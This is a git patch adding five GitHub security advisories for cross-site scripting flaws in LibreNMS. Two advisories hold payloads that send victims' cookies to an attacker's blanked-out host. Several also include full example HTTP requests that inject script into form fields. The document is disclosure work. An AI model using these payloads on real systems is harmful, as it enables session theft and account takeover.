From b422d665aa5d8d728c08fd8ec457551b8a534a07 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 1 Oct 2024 20:32:17 +0000 Subject: [PATCH] Publish Advisories GHSA-7f84-28qh-9486 GHSA-fc38-2254-48g7 GHSA-gcgp-q2jq-fw52 GHSA-j2j9-7pr6-xqwv GHSA-rwwc-2v8q-gc9v --- .../GHSA-7f84-28qh-9486.json | 69 ++++++++++++++++++ .../GHSA-fc38-2254-48g7.json | 65 +++++++++++++++++ .../GHSA-gcgp-q2jq-fw52.json | 73 +++++++++++++++++++ .../GHSA-j2j9-7pr6-xqwv.json | 69 ++++++++++++++++++ .../GHSA-rwwc-2v8q-gc9v.json | 69 ++++++++++++++++++ 5 files changed, 345 insertions(+) create mode 100644 advisories/github-reviewed/2024/10/GHSA-7f84-28qh-9486/GHSA-7f84-28qh-9486.json create mode 100644 advisories/github-reviewed/2024/10/GHSA-fc38-2254-48g7/GHSA-fc38-2254-48g7.json create mode 100644 advisories/github-reviewed/2024/10/GHSA-gcgp-q2jq-fw52/GHSA-gcgp-q2jq-fw52.json create mode 100644 advisories/github-reviewed/2024/10/GHSA-j2j9-7pr6-xqwv/GHSA-j2j9-7pr6-xqwv.json create mode 100644 advisories/github-reviewed/2024/10/GHSA-rwwc-2v8q-gc9v/GHSA-rwwc-2v8q-gc9v.json diff --git a/advisories/github-reviewed/2024/10/GHSA-7f84-28qh-9486/GHSA-7f84-28qh-9486.json b/advisories/github-reviewed/2024/10/GHSA-7f84-28qh-9486/GHSA-7f84-28qh-9486.json new file mode 100644 index 00000000000..8584fc91355 --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-7f84-28qh-9486/GHSA-7f84-28qh-9486.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7f84-28qh-9486", + "modified": "2024-10-01T20:31:22Z", + "published": "2024-10-01T20:31:22Z", + "aliases": [ + "CVE-2024-47523" + ], + "summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Alert Transports\" feature", + "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Alert Transports\" feature allows authenticated users to inject arbitrary JavaScript through the \"Details\" section (which contains multiple fields depending on which transport is selected at that moment). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating an alert transport. The application does not properly sanitize the user input in the \"Details\" field, allowing an attacker to inject and store arbitrary JavaScript. This script is then executed in the context of the page whenever the alert transport is viewed or processed.\n\nFor instance, the following payload can be used to trigger the XSS:\n```test1```\n\nWhen the page containing the transport details is loaded, this payload causes the browser to execute the injected script, which in this case triggers an alert popup.\n\nThe root cause of the vulnerability is that the application does not sanitize the value of $instance->displayDetails before appending it to the HTML output. This is demonstrated in the following code:\nhttps://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40\n\n### PoC\n1. Create a new alert transport in the LibreNMS interface.\n2. Depending on the transport chosen, just input the following payload in any field that ends up in the \"Details\" section:\n```test1```\n3. Save the transport and trigger the alert.\n4. When the transport details are accessed, the injected script executes, displaying an alert popup.\n\nExample Request:\n\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: \nX-Requested-With: XMLHttpRequest\nX-CSRF-TOKEN: \nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: \n\n_token=&transport_id=2&type=alert-transports&name=Test1&transport-choice=canopsis-form&_token=Ep6belaqXe5qE301CGmtoOWJ71gvRfBXjRyhXEpH&transport-type=canopsis&canopsis-host=localhost%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-port=5000&canopsis-user=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-pass=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E&canopsis-vhost=%3Cscript%3E%7Bonerror%3Dalert%7Dthrow+1337%3C%2Fscript%3E\n```\n\n### Impact\nIt could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "librenms/librenms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/security/advisories/GHSA-7f84-28qh-9486" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/commit/ee1afba003d33667981e098c83295f599d88439c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/librenms/librenms" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/blob/4777247327c793ed0a3306d0464b95176008177b/includes/html/print-alert-transports.php#L40" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-10-01T20:31:22Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/10/GHSA-fc38-2254-48g7/GHSA-fc38-2254-48g7.json b/advisories/github-reviewed/2024/10/GHSA-fc38-2254-48g7/GHSA-fc38-2254-48g7.json new file mode 100644 index 00000000000..02793a72533 --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-fc38-2254-48g7/GHSA-fc38-2254-48g7.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-fc38-2254-48g7", + "modified": "2024-10-01T20:31:17Z", + "published": "2024-10-01T20:31:17Z", + "aliases": [ + "CVE-2024-47524" + ], + "summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Device Group\" Name", + "details": "### Summary\nThe application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code.\n\n### Details\nUser with Admin role can create a Device Groups, the application did not properly sanitize the user input in the Device Groups name, when user see the detail of the Device Group, if java script code is inside the name of the Device Groups, its will be trigger.\n\n### PoC\n1. Login as an Admin role user. Then go over to \"$URL/device-groups\"\n\n2. Create a new Device Group with this payload in their name\n```js\n\n```\n![image](https://github.com/user-attachments/assets/2764b313-ee65-47e9-ab57-559d75f4575c)\n\n3. Go over to the detail page of that Device Groups, in this case \"$URL/devices/group=2\". Will see a pop-up.\n![image](https://github.com/user-attachments/assets/f743ca74-5dcb-4e72-ac56-dda2b42e2986)\n\n### Impact\nAttacker can use this to perform malicious java script code for malicious intent.\nThis would impact all users as anyone can have access to the detail page of the device group.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "librenms/librenms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/security/advisories/GHSA-fc38-2254-48g7" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/commit/d3b51560a8e2343e520d16e9adc72c6951aa91ee" + }, + { + "type": "PACKAGE", + "url": "https://github.com/librenms/librenms" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-10-01T20:31:17Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/10/GHSA-gcgp-q2jq-fw52/GHSA-gcgp-q2jq-fw52.json b/advisories/github-reviewed/2024/10/GHSA-gcgp-q2jq-fw52/GHSA-gcgp-q2jq-fw52.json new file mode 100644 index 00000000000..5e37d8ca33b --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-gcgp-q2jq-fw52/GHSA-gcgp-q2jq-fw52.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-gcgp-q2jq-fw52", + "modified": "2024-10-01T20:31:09Z", + "published": "2024-10-01T20:31:09Z", + "aliases": [ + "CVE-2024-47526" + ], + "summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Alert Templates\" feature", + "details": "### Summary\nA Self Cross-Site Scripting (Self-XSS) vulnerability in the \"Alert Templates\" feature allows users to inject arbitrary JavaScript into the alert template's name. This script executes immediately upon submission but does not persist after a page refresh.\n\n### Details\nThe vulnerability occurs when creating an alert template in the LibreNMS interface. Although the application sanitizes the \"name\" field when storing it in the database, this newly created template is immediately added to the table without any sanitization being applied to the name, allowing users to inject arbitrary JavaScript. This script executes when the template is created but does not persist in the database, thus preventing stored XSS.\n\nFor instance, the following payload can be used to exploit the vulnerability:\n```test1```\n\nThe root cause of this vulnerability lies in the lack of sanitization of the \"name\" variable before it is rendered in the table. The vulnerability exists because the bootgrid function of the jQuery grid plugin does not sanitize the text being added to the table. Although tags are stripped before being added to the database (as shown in the code below), the vulnerability still allows Self-XSS during the creation of the template.\n\nWhere the variable is being sanitized before being stored in the database:\nhttps://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40\n\nWhere the vulnerability is happening:\nhttps://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alert_template.inc.php#L205 \n\n### PoC\n1. Navigate to the \"Alert Templates\" creation page in the LibreNMS interface.\n2. In the \"Name\" field, input the following payload:\n```test1```\n3. Submit the form to create the alert template.\n4. Observe that the JavaScript executes immediately, triggering an alert popup. However, this code does not persist after refreshing the page.\n\n### Impact\nThis is a Self Cross-Site Scripting (Self-XSS) vulnerability. Although the risk is lower compared to traditional XSS, it can still be exploited through social engineering or tricking users into entering or interacting with malicious code. This can lead to unauthorized actions or data exposure in the context of the affected user's session.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "librenms/librenms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/security/advisories/GHSA-gcgp-q2jq-fw52" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/commit/f259edc19b9f0ccca484c60b1ba70a0bfff97ef5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/librenms/librenms" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/forms/alert-templates.inc.php#L40" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/blob/0e741e365aa974a74aee6b43d1b4b759158a5c7e/includes/html/modal/alert_template.inc.php#L205" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2024-10-01T20:31:09Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/10/GHSA-j2j9-7pr6-xqwv/GHSA-j2j9-7pr6-xqwv.json b/advisories/github-reviewed/2024/10/GHSA-j2j9-7pr6-xqwv/GHSA-j2j9-7pr6-xqwv.json new file mode 100644 index 00000000000..e29bba08187 --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-j2j9-7pr6-xqwv/GHSA-j2j9-7pr6-xqwv.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-j2j9-7pr6-xqwv", + "modified": "2024-10-01T20:31:13Z", + "published": "2024-10-01T20:31:13Z", + "aliases": [ + "CVE-2024-47525" + ], + "summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Alert Rules\" feature", + "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Alert Rules\" feature allows authenticated users to inject arbitrary JavaScript through the \"Title\" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the \"Title\" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads.\n\nFor example, the following payload can be used:\n```test1'' autofocus onfocus=\"document.location='https:///logger.php?c='+document.cookie\"```\n\nThis payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker's controlled domain with any non-httponly cookies present.\n\nThe vulnerability stems from the application not sanitizing the value of $rule['name'] before adding it to the $enabled_msg variable. This is evident in the code:\n\nhttps://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405\n\n### PoC\n\n1. Create a new alert rule in the LibreNMS interface.\n2. In the \"Title\" field, input the following payload:\n```test1'' autofocus onfocus=\"document.location='https:///logger.php?c='+document.cookie\"```\n3. Save the rule and trigger the alert.\n4. Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker's server.\n\nExample Request:\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: \nX-Requested-With: XMLHttpRequest\nX-CSRF-TOKEN: \nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: \n\n_token=&device_id=-1&device_name=invalid+hostname&rule_id=17&type=alert-rules&template_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22not_equal%22%2C%22value%22%3A%22test2'%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&name=test1''+autofocus+onfocus%3D%22document.location%3D'https%3A%2F%2F%2Flogger.php%3Fc%3D'%2Bdocument.cookie%22&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=not_equal&builder_rule_0_value_0=test2'%22&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=Test2'%22&override_query=on&adv_query=select+'test3'%22'%3B\n```\n\n### Impact\nIt could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "librenms/librenms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/security/advisories/GHSA-j2j9-7pr6-xqwv" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/commit/7620d220e48563938d869da7689b8ac3f7721490" + }, + { + "type": "PACKAGE", + "url": "https://github.com/librenms/librenms" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/print-alert-rules.php#L405" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-10-01T20:31:13Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/10/GHSA-rwwc-2v8q-gc9v/GHSA-rwwc-2v8q-gc9v.json b/advisories/github-reviewed/2024/10/GHSA-rwwc-2v8q-gc9v/GHSA-rwwc-2v8q-gc9v.json new file mode 100644 index 00000000000..c33cd08ec1e --- /dev/null +++ b/advisories/github-reviewed/2024/10/GHSA-rwwc-2v8q-gc9v/GHSA-rwwc-2v8q-gc9v.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-rwwc-2v8q-gc9v", + "modified": "2024-10-01T20:31:05Z", + "published": "2024-10-01T20:31:04Z", + "aliases": [ + "CVE-2024-47527" + ], + "summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Device Dependencies\" feature", + "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Device Dependencies\" feature allows authenticated users to inject arbitrary JavaScript through the device name (\"hostname\" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.\n\nFor example, the following payload can be used to exploit the vulnerability:\n```t'' autofocus onfocus=\"document.location='https:///?c='+document.cookie\"```\n\nWhen the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.\n\nThe root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output. \n\nThis is evident in the following line of code:\nhttps://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74\n\n### PoC\n1. Add a new device using the following payload for the hostname:\n```t'' autofocus onfocus=\"document.location='https:///?c='+document.cookie\"```\n2. Save the device.\n3. Navigate to the device dependencies page.\n4. Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.\n\nExample Request:\n```http\nPOST /addhost HTTP/1.1\nHost: \nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: \n\n_token=&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=\n```\n\n### Impact\nIt could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "librenms/librenms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.9.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/security/advisories/GHSA-rwwc-2v8q-gc9v" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/commit/36b38a50cc10d4ed16caab92bdc18ed6abac9685" + }, + { + "type": "PACKAGE", + "url": "https://github.com/librenms/librenms" + }, + { + "type": "WEB", + "url": "https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-10-01T20:31:04Z", + "nvd_published_at": null + } +} \ No newline at end of file